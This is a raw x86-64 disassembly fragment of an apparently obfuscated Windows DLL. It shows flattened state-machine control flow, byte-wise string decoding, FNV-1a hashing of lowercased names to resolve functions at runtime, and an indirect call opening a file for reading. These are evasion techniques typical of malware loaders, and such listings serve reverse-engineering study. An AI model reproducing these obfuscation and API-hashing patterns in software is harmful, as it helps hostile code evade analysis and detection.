mov byte [rsp + 0x50], cl
mov edx, 0x82f8561f
jmp 0x180036790
mov ebp, dword [rsp + 0x50]
mov byte [rdx + 1], bpl
add rdx, 2
mov qword [rsp + 0x110], rdx
mov dword [rsp + 0x68], WSAStartup
mov edx, 0x4f38ddca
nop dword [rax]
cmp edx, 0x82f8561f
je 0x180036823
cmp edx, 0x4f38ddca
jne 0x1800367d0
mov byte [rsp + 0x50], cl
mov edx, 0x82f8561f
jmp 0x1800367d0
movsx edx, byte [rsp + 0x50]
mov dword [rsp + 0x78], edx
mov edx, 0xff5b84f4
nop dword [rax]
cmp edx, 0xd33755b0
je 0x180036863
cmp edx, 0xff5b84f4
jne 0x180036800
mov edx, dword [rsp + 0x68]
xor edx, dword [rsp + 0x78]
mov dword [rsp + 0x50], edx
mov edx, 0xd33755b0
jmp 0x180036800
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x78], ecx
mov ecx, 0xff5b84f4
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xd33755b0
je 0x18003689b
cmp ecx, 0xff5b84f4
jne 0x180036840
mov ecx, dword [rsp + 0x68]
xor ecx, dword [rsp + 0x78]
mov dword [rsp + 0x50], ecx
mov ecx, 0xd33755b0
jmp 0x180036840
mov edx, dword [rsp + 0x50]
mov byte [rax + 2], dl
mov dword [rsp + 0x68], 0x65
mov edx, 0x4f38ddca
nop word [rax + rax]
cmp edx, 0x82f8561f
je 0x1800368ad
cmp edx, 0x4f38ddca
jne 0x180036880
mov byte [rsp + 0x50], cl
mov edx, 0x82f8561f
jmp 0x180036880
mov ecx, dword [rsp + 0x50]
mov byte [rsp + 0x4c], cl
mov ecx, 0x2552dda3
jmp 0x180036610
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x78], ecx
mov ecx, 0xff5b84f4
nop dword [rax + rax]
cmp ecx, 0xd33755b0
je 0x1800368e3
cmp ecx, 0xff5b84f4
jne 0x1800368c0
mov ecx, dword [rsp + 0x68]
xor ecx, dword [rsp + 0x78]
mov dword [rsp + 0x50], ecx
mov ecx, 0xd33755b0
jmp 0x1800368c0
mov ecx, dword [rsp + 0x50]
mov byte [rax + 3], cl
add rax, 4
mov rcx, qword [rsp + 0x60]
add rcx, 0xd
mov qword [rsp + 0x138], rcx
mov ecx, 0x142be633
jmp 0x180036610
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x13e], al
mov eax, 0xf98468c
nop word cs:[rax + rax]
nop
cmp eax, 0xa42c913d
je 0x180036d00
cmp eax, 0xf98468c
jne 0x180036930
mov dword [rsp + 0x60], 0x69
mov eax, 0x7bf1080d
nop
cmp eax, 0x6b4a88ba
je 0x180036970
cmp eax, 0x7bf1080d
jne 0x180036950
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x180036950
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x180036930
lea rcx, [rsp + 0x568]
call fcn.180037900
mov r10d, 0xed3b0916
mov ebx, 0x9304b30f
movabs r8, 0xcbf29ce484222325
movabs r9, 0x100000001b3
jmp 0x1800369e0
movsxd rbp, ecx
xor rbp, qword [rsp + 0x138]
imul rbp, r9
mov esi, dword [rsp + 0x60]
add esi, 1
mov ebx, 0xc46bd60d
nop dword [rax]
cmp ebx, 0xec989664
jle 0x180036a40
cmp ebx, 0xde9741a
jle 0x180036a90
cmp ebx, 0x4040a63f
jg 0x180036b15
cmp ebx, 0xde9741b
je 0x180036bd6
cmp ebx, 0x23777f42
je 0x180036be9
cmp ebx, 0x34fd6d6d
jne 0x1800369e0
cmp byte [rsp + 0x80], 0
mov ebx, 0xa8588bcc
cmovne ebx, r12d
jmp 0x1800369e0
cmp ebx, 0xb3b07733
jle 0x180036ad0
cmp ebx, 0xc86312b3
jle 0x180036b47
cmp ebx, 0xc86312b4
je 0x1800369be
cmp ebx, 0xcaf004ba
je 0x180036bf3
cmp ebx, 0xdf0d33c4
jne 0x1800369e0
mov ebx, 0xc46bd60d
xor esi, esi
mov rbp, r8
jmp 0x1800369e0
cmp ebx, 0xfa416f8f
jle 0x180036b83
cmp ebx, 0xfa416f90
je 0x180036c18
cmp ebx, 0x45d558a
je 0x180036c26
cmp ebx, 0xc942d64
jne 0x1800369e0
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x1800369e0
cmp ebx, 0xa8588bcb
jle 0x180036bb4
cmp ebx, 0xa8588bcc
je 0x180036c3c
cmp ebx, 0xa94a57ae
je 0x180036c4a
cmp ebx, 0xb18d2356
jne 0x1800369e0
mov ebx, dword [rsp + 0x68]
or ebx, 0x20
mov dword [rsp + 0x78], ebx
mov ebx, 0xfa416f90
jmp 0x1800369e0
cmp ebx, 0x4040a640
je 0x180036c54
cmp ebx, 0x494b1080
je 0x180036c5e
cmp ebx, 0x6238ad6b
jne 0x1800369e0
mov ebx, 0xcaf004ba
mov edx, dword [rsp + 0x4c]
jmp 0x1800369e0
cmp ebx, 0xb3b07734
je 0x180036c71
cmp ebx, 0xc46bd60d
jne 0x180036cc4
mov dword [rsp + 0x60], esi
mov qword [rsp + 0x138], rbp
mov ebx, dword [rsp + 0x50]
mov edi, dword [rsp + 0x60]
cmp edi, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r14d
jmp 0x1800369e0
cmp ebx, 0xec989665
je 0x180036c95
cmp ebx, 0xed3b0916
jne 0x1800369e0
mov ebx, dword [rsp + 0x68]
cmp ebx, 0x5b
setl byte [rsp + 0x80]
mov ebx, 0x34fd6d6d
jmp 0x1800369e0
cmp ebx, 0x8051c795
je 0x180036caa
cmp ebx, 0x9304b30f
jne 0x1800369e0
mov ebx, 0xc942d64
jmp 0x1800369e0
mov ebx, dword [rsp + 0x60]
mov qword [rsp + 0x40], rbx
mov ebx, 0x8051c795
jmp 0x1800369e0
mov ebx, 0xdf0d33c4
jmp 0x1800369e0
mov dword [rsp + 0x50], edx
mov ebx, dword [rsp + 0x50]
movsx ebx, byte [rax + rbx]
mov dword [rsp + 0x5c], ebx
mov ebx, dword [rsp + 0x5c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r13d
jmp 0x1800369e0
mov ebx, 0xc86312b4
mov ecx, dword [rsp + 0x78]
jmp 0x1800369e0
mov ebx, dword [rsp + 0x5c]
cmp ebx, 0x7f
setl byte [rsp + 0x77]
mov ebx, 0x494b1080
jmp 0x1800369e0
mov ebx, 0xc86312b4
mov ecx, dword [rsp + 0x68]
jmp 0x1800369e0
mov ebx, 0x23777f42
jmp 0x1800369e0
mov ebx, 0x6238ad6b
jmp 0x1800369e0
cmp byte [rsp + 0x77], 0
mov ebx, 0xa94a57ae
cmovne ebx, r15d
jmp 0x1800369e0
mov rbx, qword [rsp + 0x110]
movsx ebx, byte [rbx]
mov dword [rsp + 0x68], ebx
mov ebx, dword [rsp + 0x68]
cmp ebx, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r10d
jmp 0x1800369e0
mov ebx, dword [rsp + 0x50]
add ebx, 1
mov dword [rsp + 0x4c], ebx
mov ebx, 0x4040a640
jmp 0x1800369e0
mov rbx, qword [rsp + 0x40]
add rbx, rax
mov qword [rsp + 0x110], rbx
mov ebx, 0xb3b07734
jmp 0x1800369e0
cmp ebx, 0xc5d9b945
jne 0x1800369e0
mov rcx, qword [rsp + 0x138]
call fcn.1800ae820
mov r10d, 0xed3b0916
mov qword [rsp + 0xf0], rax
mov eax, 0x3e62e5a9
lea rsi, [rsp + 0x578]
jmp 0x180032410
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x13f], al
mov eax, 0xf98468c
nop word cs:[rax + rax]
nop
cmp eax, 0xa42c913d
je 0x180036d80
cmp eax, 0xf98468c
jne 0x180036d20
mov dword [rsp + 0x60], WSAStartup
mov eax, 0x7bf1080d
nop dword [rax + rax]
cmp eax, 0x6b4a88ba
je 0x180036d60
cmp eax, 0x7bf1080d
jne 0x180036d40
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x180036d40
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x180036d20
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x140], al
mov eax, 0xf98468c
nop word cs:[rax + rax]
nop
cmp eax, 0xa42c913d
je 0x180036e00
cmp eax, 0xf98468c
jne 0x180036da0
mov dword [rsp + 0x60], 0x65
mov eax, 0x7bf1080d
nop dword [rax + rax]
cmp eax, 0x6b4a88ba
je 0x180036de0
cmp eax, 0x7bf1080d
jne 0x180036dc0
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x180036dc0
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x180036da0
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x141], al
lea rax, [rsp + 0x142]
mov qword [rsp + 0x110], rax
mov eax, 0x6cbb7dd5
nop word cs:[rax + rax]
nop
cmp eax, 0x23ac6299
je 0x180036ec0
cmp eax, 0x6cbb7dd5
jne 0x180036e30
mov eax, 0xf98468c
nop word [rax + rax]
cmp eax, 0xa42c913d
je 0x180036e9f
cmp eax, 0xf98468c
jne 0x180036e50
mov dword [rsp + 0x50], 0x57
mov eax, 0x7bf1080d
nop dword [rax + rax]
cmp eax, 0x6b4a88ba
je 0x180036e8d
cmp eax, 0x7bf1080d
jne 0x180036e70
mov dword [rsp + 0x40], 5
mov eax, 0x6b4a88ba
jmp 0x180036e70
mov eax, dword [rsp + 0x40]
movsx eax, al
mov dword [rsp + 0x60], eax
mov eax, 0xa42c913d
jmp 0x180036e50
mov eax, dword [rsp + 0x50]
add eax, dword [rsp + 0x60]
mov byte [rsp + 0x78], al
mov eax, 0x23ac6299
jmp 0x180036e30
mov rax, qword [rsp + 0x110]
mov cl, byte [rsp + 0x78]
mov byte [rax], cl
mov rax, qword [rsp + 0x110]
mov byte [rax + 1], 0
mov ecx, 0x97826767
jmp 0x180036ef0
mov ecx, 0xa5d76c09
mov rax, qword [rsp + 0x40]
nop dword [rax + rax]
cmp ecx, 0xda1daf1b
jle 0x180036f40
cmp ecx, 0xfe7ce8d7
jle 0x180036f60
cmp ecx, 0xfe7ce8d8
je 0x180036fc9
cmp ecx, 0x464cefaf
jne 0x18003707a
mov rcx, qword [rsp + 0x110]
add rcx, rsi
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + 0x60]
mov cl, byte [rcx]
mov byte [rsp + 0x80], cl
mov ecx, 0xfe7ce8d8
jmp 0x180036ef0
cmp ecx, 0x9a4f7646
jg 0x180036f90
cmp ecx, 0x94585be5
je 0x180036ee1
cmp ecx, 0x97826767
jne 0x180036ef0
mov ecx, 0x9a4f7647
jmp 0x180036ef0
cmp ecx, 0xda1daf1c
je 0x18003702e
cmp ecx, 0xe919ebe2
jne 0x180036ef0
mov qword [rsp + 0x78], rsi
mov ecx, 0xda1daf1c
jmp 0x180036ef0
cmp ecx, 0x9a4f7647
je 0x180037042
cmp ecx, 0xa5d76c09
jne 0x180036ef0
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
cmp rcx, 0xb
mov ecx, 0xe919ebe2
cmovb ecx, ebx
jmp 0x180036ef0
movsx ecx, byte [rsp + 0x80]
mov edx, 0xf9204ee4
nop word cs:[rax + rax]
cmp edx, 0x4ab1b149
je 0x18003704e
cmp edx, 0xf9204ee4
jne 0x180036fe0
mov dword [rsp + 0x4c], ecx
mov edx, 0x7bf1080d
nop dword [rax]
cmp edx, 0x6b4a88ba
je 0x18003701f
cmp edx, 0x7bf1080d
jne 0x180037000
mov dword [rsp + 0x68], 5
mov edx, 0x6b4a88ba
jmp 0x180037000
mov edx, dword [rsp + 0x68]
mov byte [rsp + 0x5c], dl
mov edx, 0x4ab1b149
jmp 0x180036fe0
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x50], rcx
mov ecx, 0x1d3386ce
jmp 0x180036ef0
mov ecx, 0xa5d76c09
xor eax, eax
jmp 0x180036ef0
mov cl, byte [rsp + 0x5c]
mov edx, dword [rsp + 0x4c]
sub dl, cl
mov rcx, qword [rsp + 0x60]
mov byte [rcx], dl
mov rcx, qword [rsp + 0x110]
add rcx, 1
mov qword [rsp + 0x40], rcx
mov ecx, 0x94585be5
jmp 0x180036ef0
cmp ecx, 0x1d3386ce
jne 0x180036ef0
mov rax, qword [rsp + 0x50]
mov ebx, 0x9304b30f
jmp 0x1800370b0
movsxd rbp, ecx
xor rbp, qword [rsp + 0x110]
imul rbp, r9
mov esi, dword [rsp + 0x50]
add esi, 1
mov ebx, 0xc46bd60d
nop dword [rax]
cmp ebx, 0xec989664
jle 0x180037100
cmp ebx, 0xde9741a
jle 0x180037150
cmp ebx, 0x4040a63f
jg 0x1800371d5
cmp ebx, 0xde9741b
je 0x180037293
cmp ebx, 0x23777f42
je 0x1800372a6
cmp ebx, 0x34fd6d6d
jne 0x1800370b0
cmp byte [rsp + 0x77], 0
mov ebx, 0xa8588bcc
cmovne ebx, r12d
jmp 0x1800370b0
cmp ebx, 0xb3b07733
jle 0x180037190
cmp ebx, 0xc86312b3
jle 0x180037207
cmp ebx, 0xc86312b4
je 0x180037092
cmp ebx, 0xcaf004ba
je 0x1800372b0
cmp ebx, 0xdf0d33c4
jne 0x1800370b0
mov ebx, 0xc46bd60d
xor esi, esi
mov rbp, r8
jmp 0x1800370b0
cmp ebx, 0xfa416f8f
jle 0x180037243
cmp ebx, 0xfa416f90
je 0x1800372db
cmp ebx, 0x45d558a
je 0x1800372e9
cmp ebx, 0xc942d64
jne 0x1800370b0
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x1800370b0
cmp ebx, 0xa8588bcb
jle 0x180037271
cmp ebx, 0xa8588bcc
je 0x180037305
cmp ebx, 0xa94a57ae
je 0x180037313
cmp ebx, 0xb18d2356
jne 0x1800370b0
mov ebx, dword [rsp + 0x4c]
or ebx, 0x20
mov dword [rsp + 0x68], ebx
mov ebx, 0xfa416f90
jmp 0x1800370b0
cmp ebx, 0x4040a640
je 0x18003731d
cmp ebx, 0x494b1080
je 0x180037327
cmp ebx, 0x6238ad6b
jne 0x1800370b0
mov ebx, 0xcaf004ba
mov edx, dword [rsp + 0x5c]
jmp 0x1800370b0
cmp ebx, 0xb3b07734
je 0x18003733d
cmp ebx, 0xc46bd60d
jne 0x18003738a
mov dword [rsp + 0x50], esi
mov qword [rsp + 0x110], rbp
mov ebx, dword [rsp + 0x78]
mov edi, dword [rsp + 0x50]
cmp edi, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r14d
jmp 0x1800370b0
cmp ebx, 0xec989665
je 0x18003735e
cmp ebx, 0xed3b0916
jne 0x1800370b0
mov ebx, dword [rsp + 0x4c]
cmp ebx, 0x5b
setl byte [rsp + 0x77]
mov ebx, 0x34fd6d6d
jmp 0x1800370b0
cmp ebx, 0x8051c795
je 0x180037373
cmp ebx, 0x9304b30f
jne 0x1800370b0
mov ebx, 0xc942d64
jmp 0x1800370b0
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0x60], rbx
mov ebx, 0x8051c795
jmp 0x1800370b0
mov ebx, 0xdf0d33c4
jmp 0x1800370b0
mov dword [rsp + 0x78], edx
mov ebx, dword [rsp + 0x78]
movsx ebx, byte [rax + rbx]
mov dword [rsp + 0x80], ebx
mov ebx, dword [rsp + 0x80]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r13d
jmp 0x1800370b0
mov ebx, 0xc86312b4
mov ecx, dword [rsp + 0x68]
jmp 0x1800370b0
mov ebx, dword [rsp + 0x80]
cmp ebx, 0x7f
setl byte [rsp + 0x87]
mov ebx, 0x494b1080
jmp 0x1800370b0
mov ebx, 0xc86312b4
mov ecx, dword [rsp + 0x4c]
jmp 0x1800370b0
mov ebx, 0x23777f42
jmp 0x1800370b0
mov ebx, 0x6238ad6b
jmp 0x1800370b0
cmp byte [rsp + 0x87], 0
mov ebx, 0xa94a57ae
cmovne ebx, r15d
jmp 0x1800370b0
mov rbx, qword [rsp + 0x40]
movsx ebx, byte [rbx]
mov dword [rsp + 0x4c], ebx
mov ebx, dword [rsp + 0x4c]
cmp ebx, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r10d
jmp 0x1800370b0
mov ebx, dword [rsp + 0x78]
add ebx, 1
mov dword [rsp + 0x5c], ebx
mov ebx, 0x4040a640
jmp 0x1800370b0
mov rbx, qword [rsp + 0x60]
add rbx, rax
mov qword [rsp + 0x40], rbx
mov ebx, 0xb3b07734
jmp 0x1800370b0
cmp ebx, 0xc5d9b945
jne 0x1800370b0
mov rcx, qword [rsp + 0x110]
call fcn.1800ae820
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call rax
mov r10d, 0xed3b0916
mov qword [rsp + 0x90], rax
mov eax, 0xcfcd9c96
lea rsi, [rsp + 0x578]
jmp 0x180032410
mov rcx, qword [rsp + 0xdb0]
xor rcx, rsp
call fcn.1800ba080
nop
add rsp, 0xdb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret